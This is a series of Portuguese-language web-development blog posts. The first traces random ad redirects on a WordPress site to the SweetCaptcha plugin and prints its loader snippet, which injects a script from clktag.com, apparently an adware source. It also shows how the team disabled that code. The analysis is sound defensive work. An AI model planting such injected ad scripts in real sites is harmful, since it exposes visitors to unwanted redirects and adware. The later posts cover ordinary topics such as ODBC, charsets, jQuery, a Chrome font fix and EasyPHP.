nov 072015
 

Num dos sites mantidos pela Academia, ao se clicar um qualquer ponto da tela, seja em área sem link, seja em determinado posto, enfim, de forma absurdamente aleatória, é aberta nova página totalmente estranha à aplicação original.

Dentre as listadas:

http://lp.musicboxnewtab.com/?sysid=539&appid=118&subid=80817651661

O problema maior é que tal redirecionamento se dá também de forma aleatória, ou seja, as vezes ocorre, às vezes não. Aliás, ocorre esporadicamente. Navega-se pelo site, logo de início ou depois de muito tempo, lá está o redirecionamento. Por vezes, em muitas sessões, nem ocorre.

Tal aleatoriedade, de local clicado ou de momento de ocorrência dificulta muito encontrar a brecha.

Assim, vamos à longa análise:

Pelo descrito passamos a monitorar o evento “click”, até que disparasse o redirecionamento, chegamos então ao primeiro suspeito:

wp

Trata-se do script vindo do site clktag.com que, por sua vez, chama o servidor cdn1.srv.revdepo.com, trazendo aquele .js descrito na imagem. Arquivo bem grande para os padrões js e inteiro criptografado, o que faz a suspeita aumentar, dado que no wordpress os códigos são abertos.

Para completar: esse “revdepo.com” é um conhecido redirecionador para propagandas variadas (spam).

O segundo passo é encontrar onde este raio de clktag está sendo chamado.

Depois de algumas horas fuçando nos arquivos do wordpress, monitorando carregamentos, e outros procedimentos, encontramos o responsável:

wp2

O plugin SweetCaptcha faz dois carregamentos, o primeiro ok, é o do aplicativo mesmo.

Já o segundo, destacado na imagem, traz a inclusão do “clktag” no DOM (4ª linha):

1
2
3
4
5
window.sweetcaptchaCSRF = 'eb02ed2cd9350cc7a588d6a375a339b0'; var mobile = typeof(window.orientation) != 'undefined' || navigator.userAgent.match(/iphone|ipod|blackberry|android|palm|windowss+ce|mobile|msie 8|msie 7|msie 6/i) || (navigator.userAgent.indexOf('Safari') > -1 && navigator.userAgent.indexOf("Chrome") == -1 && navigator.userAgent.indexOf('Windows') > -1);if (1 || typeof(sc_jQuery) === 'undefined') {
window.sweetcaptchaPluginVersion = "3.1.0";
document.write('<scr'+'ipt type="text/javascript" src="//www.sweetcaptcha.com/javascripts/sclytics.js">');
document.write('<scr'+'ipt type="text/javascript" src="//clktag.com/adServe/banners?tid=SWTMPOP&tagid=2" async="async">');
document.write('<img style="position: absolute;" src="//www.sweetcaptcha.com/api/v2/apps/csrfp/11323?t=1446929464093&amp;mobile='+(mobile ? '1' : '0')+'" alt="" width="1" height="1" />');};

Testamos a descoberta, desativando o pugin.

Problema sanado, sem mais redirecionamentos indevidos e sem mais problemas, somente fontes confiáveis e normais foram carregadas:

wp3

Testes por mais algumas horas, sem redirecionamentos.

Agora chegamos a duas possíveis conclusões:

1-O plugin SweetCaptcha tem alguma vulnerabilidade;

2-O redirecionamento aleatório faz parte do plugin.

Pois bem, o SweetCapctha, usado em alguns milhões de sites, incluídos wordpress, oferece uma maneira mais criativa e elegante de burlar o spam, provendo um captcha intuitivo e bem humorado, como no exemplo:

wp4

Assim, buscamos no site do desenvolvedor: www.sweetcaptcha.com

Leia o site e verá que promete afastar spammers, injeção de códigos maliciosos e todos os males que realmente buscamos evitar quando colocamos um captcha. Oferece o aplicativo gratuitamente e pede doação (qua a academia doou, diga-se de passagem) por achar a ideia excelente e o serviço ótimo.

wp5

Contactamos o suporte, explicando a situação, e nos foi respondido que o plugin não tem anúncios e não faz redirecionamentos.

Então é uma falha, correto?

Errado. Infelizmente errado. A equipe deste plugin usa de uma desonestidade brutal. E ao que tudo indica o trambique vem desde julho deste ano.

Um desabafo: Cobrem pelo serviço se for necessário, mas nunca, nunca traiam a confiança do usuário distribuindo spam e, para piorar, peçam doação para manter a bagaça gratuita. Ridícula a postura. Se fosse um serviço nacional juro que entraríamos na justiça para reaver a doação.

A solução: exterminar este maldito plugin. Uma excelente ideia, lançada à lama por algum imbecil.

Para finalizar: o script vem direto dos servidores do sweetcaptcha, assim não há como negar a intenção nefasta: foram avisados, basta atualizar o script que traz o spam. Não o fizeram, comprova a má intenção.

Mais detalhes no blog de segurança Sucuri:

https://blog.sucuri.net/portugues/2015/06/09/sweetcaptcha-utilizado-para-distribuir-adware.html

Por fim, o mais estranho: a safadeza não ocorre em todos os sites. Usamos aqui na academia e nenhum spam ou redirecionamento foi feito pelo plugin, seria em razão da doação? se for, não seria melhor cobrar logo?

Aqui vamos manter até para avaliar até quando vai.

É isso.

 

ATUALIZAÇÃO:

Caso queira continuar usando o aplicativo, como alguns clientes preferiram, comente a seguinte linha do código do plugin (arquivo sweetcaptcha.php):

1
wp_enqueue_script('sweetcaptcha-csrf', 'https://'.SWEETCAPTCHA_SITE_URL.'/api/v2/apps/csrf/'.$app_id, array(), $ver, true);

Com isto, não teremos mais spam, ao menos até a próxima versão do plugin (estamos a usar a 3.1.0).

 

jul 012015
 

O problema:

Estamos a preparar um DataMining para um cliente, onde nenhum padrão está pré-estabelecido. Esta primeira análise costumamos realizar com o MS Access pela facilidade na criação de consultas e relacionamentos para, depois, definir os primeiros padrões encontrados.

Em regra criamos uma cópia dos Bancos de Dados principais do cliente, importamos no Access e trabalhados desconectados das bases em operação.

Porém, para este cliente, estamos em busca de novos padrões de acontecimentos imediatos, ou seja, precisamos acessar a base principal em tempo real.

A solução:

Vincular tabelas do MySQL no MS Access.

Como fazer:

Primeiro passo, no Access (usamos a versão 2002/XP):

Arquivo >> Obter dados externos >> Vincular tabelas.

Nos “tipos de arquivo” selecione “ODBC Databases()”, na tela seguinte “Fonte de dados de máquina”:

Capturar

Não há a opção de bancos de dados MySQL, logo, a solução é instalar um conector.

Baixeo MySQL ODBC Connector do site do MySQL, o link quando esta matéria foi escrita é: https://dev.mysql.com/downloads/connector/odbc/

Baixe de acordo com seu sistema operacional, instale-o.

sql

Em seguida, vá em (W7) Painel de controle >> ferramentas admnistrativas >> Fontes de dados (ODBC):

sql3

 

Crie uma nova fonte, escolha entre Unicode ou ANSI conforme sua preferência.

sql4

Preencha os dados do banco que pretende conectar (precisará criar uma conexão para cada banco de dados, se for usar mais de um).

sql5

 

Pronto, agora basta voltar ao Access e repetir os primeiros passos, a nova fonte de dados estará disponível.

sql6

É isso!

 

nov 022014
 

Muito bem, direto ao problema:

Qual codificação de caracteres utilizar em seus aplicativos? Qual o Charset ideal?

Se usa algum framework, como Bootstrap e ou jQuery por exemplo, melhor usar UTF-8. Na Academia nosso padrão é UTF-8 sem BOM.

Porém, a maioria dos windows usa o padrão ISO 8859-1, causando os transtornos das imagens abaixo quando alguma de nossas configurações foi esquecida (em especial no Internet Explorer):

Capturar

Na imagem, a tela da mesma aplicação no Firefox é interpretada corretamente como UTF-8, O mesmo no Chrome, já no I.E…..aparece desconfigurado.

Cabe apontar que a página HTML informa corretamente a codificação:

html

Porém, nada feito! o I.E. Não reconhece….

E aqui mais uma dica, a declaração de charset deve estar dentre as primeiras no HEAD, na Academia por padrão usamos como a primeira, pois esta declaração deve estar dentre os primeiros 1024 bytes do arquivo, registrando a dica: Evite comentários demasiados no início do HTML, mais pode ser visto em: http://www.w3.org/International/questions/qa-html-encoding-declarations.en

A solução?

Usar um “hack” nos arquivos PHP, no início de cada arquivo PHP que retorna conteúdo utilizamos (também por padrão) a declaração:

header('Content-Type: text/html; charset=UTF-8');

Tal comando não necessária precisa estar no início do arquivo (o fazemos por questões de padronização).

E quanto ao UTF-8 com ou sem BOM?

O BOM, ou Byte Order Mark é um conjunto de caracteres enviados no início de cada arquivo codificado em UTF-8 com BOM. Tal conjunto tem utilidade no UTF-16 ou 32, sendo inútil no 8. Além de inútil ainda traz alguns problemas: com o BOM não é possível utilizar os comandos header do PHP, além de provocar retornos indevidos em aplicações AJAX, como na imagem abaixo (aliás, estes caracteres são o BOM…):

Byte Order Mark

 

Então, o resumo de como padronizamos cá na Academia, evitando muitos problemas:

  1. Todos os nossos editores de texto e IDE são configurados para adotar o UTF-8 sem BOM como padrão.
  2.  Todos os arquivos HTML tem a declaração de charset no início do Header, dentro do limite de 1024 bytes;
  3. Todos os arquivos PHP que retornam algum HTML tem a declaração  “header(…” no início do arquivo;
  4. Os bancos de dados são configurados como collation UTF-8 general_ci (no caso do MySQL).

Isto feito, raramente terá problemas com os malditos charset, principalmente no I.E..

É isso, até a próxima.

out 272014
 

O problema:

Temos um formulário que deve ser aberto para a edição, sendo que os dados são populados para o form via jQuery/AJAX/PHP/Mysql.
Resta um problema nos selects, como selecionar a option correta, de acordo com o que está armazenado no banco de dados?

A solução:

$("#eixo option:contains('"+valor_que_vem_do_banco+"')").attr('selected',true);

Pronto, a option que contém o valor que veio do banco será selecionada no Select indicado.

out 252014
 

Muito bem, usamos o Chrome pelo seu excelente console para testes Javascript (acho mais fácil que o do FireBug).

Porém, de uns tempos para cá o Chrome, no Windows 7, para quem fontes da família Helvética instalada, não renderiza corretamente as páginas, exibindo aqueles caracteres estranhosos.

A solução oferecida: desinstalar as fontes, porém, elas são usadas por outras aplicações e, convenhamos, ter que desinstalar fontes por conta de falha do aplicativo? Melhor seria a Google corrigir logo. Enquanto não faz, as dicas:

Tem o problema quem: Tem fontes Helvética Instaladas (neue, sanskrit, a original…), usa Windows 7, tem o Chrome atualizado (parece que foi uma atualização em meados de Julho/2014 que causou a falha) e tenta acessar sites que usam a fonte Helvética (ou família) como padrão. O Chrome simplesmente não renderiza corretamente, independente da configuração de codificação (UTF-8 etc.).

Páginas como Facebook, Pinterest e até do próprio Google, que usam a fonte Helvética aparecem assim:

Pinterest

Pinterest

Facebook

Facebook

O Próprio Google...

O Próprio Google…

 

Para solucionar, instale o complemento StyleBot no Chrome (link para: https://chrome.google.com/webstore/detail/stylebot/oiaejidbmkiecgbjeifoejpgmdaleoha).

chrome4

 

Em seguida cole no aplicativo o arquivo CSS abaixo:

@font-face {
font-family: Helvetica;
src: local('Arial');
}
@font-face {
font-family: "Helvetica Neue";
src: local('Arial');
}
@font-face {
font-family: 'Helvetica Neue Custom';
src: local('Arial');
}
@font-face {
font-family: Helvetica;
font-weight: bold;
font-weight: 700;
src: local('Arial');
}
@font-face {
font-family: "Helvetica Neue";
font-weight: bold;
font-weight: 700;
src: local('Arial');
}
@font-face {
font-family: "Helvetica Neue Custom";
font-weight: bold;
font-weight: 700;
src: local('Arial');
}

Pronto, o Chrome agora, através do complemento, substituirá a família Helvética pela Arial e tudo volta ao normal.

 

A dica foi vista no vídeo do canal Ch-Ch-Check It, e pode ser conferido abaixo, se gostou não deixe de dar o “like” no vídeo do colega (em inglês):

 

 

É isso, até a próxima!

set 302014
 

search

O EasyPHP sempre foi, e penso que continua sendo, o mais simples dos WAMP para testes e desenvolvimento de aplicações web com PHP.

Porém, de algumas versões para cá (escrevo tratando da versão 14.1), quando instalado sobre o Windows7 32 bits, a bagaça enrosca e não incia o Apache pela falta da DLL MSVCR110.dll.

ScreenHunter_30 Sep. 30 18.45

Pois bem, o aviso: CUIDADO AO BAIXAR DLL DE SITES ESTRANHOS.

Uma biblioteca DDL bem construída e mal intencionada pode dar acesso irrestrito à sua máquina.

A maldita que falta faz parte do pacote:

Visual C++ Redistributable for Visual Studio 2012 Update 4, da Microsoft.

Assim, para corrigir o problema com segurança, baixe-o diretamente do site da Microsoft pelo link:

http://www.microsoft.com/en-us/download/details.aspx?id=30679%20#

Seguindo os passos:

Escolha o idioma (não tem português, ao menos até o momento que baixei.):

ScreenHunter_31 Sep. 30 18.53

Escolha seu sistema operacional (x86 para 32 bits – nosso caso, x64 para 64bits ou arm para outros dispositivos, como Windows Phone):

ScreenHunter_32 Sep. 30 18.53

Instale o trem:

ScreenHunter_33 Sep. 30 18.59

ScreenHunter_34 Sep. 30 18.59ScreenHunter_35 Sep. 30 19.01

 

 

 

 

 

 

 

 

 

 

 

Leva bem uns 5 minutos.

Pronto, EasyPHP funcionando.
ScreenHunter_36 Sep. 30 19.03

É isso.

ADENDO: Como bem colocou nos comentários o colega Artur, mesmo se usares a versão 64bits precisará instalar a X86 para que funcione corretamente. Valeu pela dica!

fev 122012
 

Pois bem, no desenvolvimento de aplicações em plataforma WEB a codificação de caracteres tende a ser um pesadelo.

Ora toma-se o padrão regional (ISO-8859-1) ora o padrão internacional UTF-8, e aí a coisa complica…

Se todos os elementos da aplicação WEB (nagevador, servidor WEB, servidor de aplicação (PHP) e servidor de banco de dados) não estiverem operando na mesma nota paracerão os acaracteres estranhos…

A solução para usar PHP, HTML e MySQL em UTF-8, padrão que adotamos na academis é:

No header de suas páginas HTML, aponte a codificação UTF-8:

<head>
      <meta http-equiv="Content-type" content="text/html; charset=UTF-8" />
</head>

Já na sua aplicação PHP inclua:

     ini_set('default_charset','UTF-8');

O mesmo deve ser feito logo após a conexão com o banco de dados, através do comando:

    mysql_query("SET character_set_results = 'utf8', character_set_client = 'utf8', character_set_connection = 'utf8', character_set_database = 'utf8', character_set_server = 'utf8'", $nome_da_sua_conexão);

Claro, por fim, configure seu banco de dados mySQL para utilizar a collation:
utf8_general_ci
Pronto, problema -aparentemente- resolvido.

jan 082011
 

Gettext é um projeto GNU para internacionalização de software, é composto de padrões e softwares desenvolvidos para a tradução simplificada. Pode ser visto em http://www.gnu.org/software/gettext/ e, grosso modo, consiste em utilizar para as mensagens de tela a sintaxe (PHP como exemplo, porém há suporte para várias linguages):

echo gettext(“Galeria de fotos”);

Com a marcação, são extraídos para arquivos específicos todas as mensages de tela, possibilitando a criação de arquivos de tradução. Em momento oportuno trataremos aqui de como criar e processar tais arquivos, possibilitando a criação de aplicações multi-idiomas ou ajudar a comunidade do código aberto a traduzir alguns programas.

O tema deste tópico é mais modesto, habilitar o uso do gettext no EasyPHP:

1-Vá em PHP Extension e selecione Gettext.

(Só isso mesmo!, lembro que este repositório é usado pela equipe da Academia e podemos afirmar: Como esquecemos de procedimentos simples como esse!!! Chega a ser ridículo o tempo que acabamos por perder para encontrar uma vírgula fora de lugar ou uma configuraçãozinha mínima como essa…)